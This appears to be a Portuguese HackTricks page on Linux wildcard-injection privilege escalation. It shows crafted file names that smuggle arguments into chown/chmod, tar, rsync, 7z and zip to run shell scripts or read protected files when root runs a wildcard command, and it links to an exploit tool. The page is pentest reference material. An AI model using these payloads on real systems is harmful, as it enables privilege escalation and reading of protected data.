4.8 KiB
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
chown, chmod
Você pode indicar qual dono do arquivo e permissões você quer copiar para o restante dos arquivos
touch "--reference=/my/own/path/filename"
Você pode explorar isso usando https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (ataque combinado)
__Mais informações em https://www.exploit-db.com/papers/33930
Tar
Executar comandos arbitrários:
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
Você pode explorar isso usando https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (ataque tar)
__Mais informações em https://www.exploit-db.com/papers/33930
Rsync
Executar comandos arbitrários:
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
touch "-e sh shell.sh"
Você pode explorar isso usando https://github.com/localh0t/wildpwn/blob/master/wildpwn.py _(ataque rsync)
__Mais informações em https://www.exploit-db.com/papers/33930
7z
No 7z, mesmo usando -- antes de * (note que -- significa que a entrada seguinte não pode ser tratada como parâmetros, então apenas caminhos de arquivo neste caso), você pode causar um erro arbitrário para ler um arquivo, então se um comando como o seguinte estiver sendo executado pelo root:
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
E se você puder criar arquivos na pasta onde isso está sendo executado, você poderia criar o arquivo @root.txt e o arquivo root.txt sendo um symlink para o arquivo que você deseja ler:
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
Então, quando o 7z for executado, ele tratará root.txt como um arquivo contendo a lista de arquivos que ele deve comprimir (é o que a existência de @root.txt indica) e quando o 7z ler root.txt, ele lerá /file/you/want/to/read e como o conteúdo deste arquivo não é uma lista de arquivos, ele gerará um erro mostrando o conteúdo.
Mais informações nos Write-ups do box CTF do HackTheBox.
Zip
Executar comandos arbitrários:
zip name.zip files -T --unzip-command "sh -c whoami"
__
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>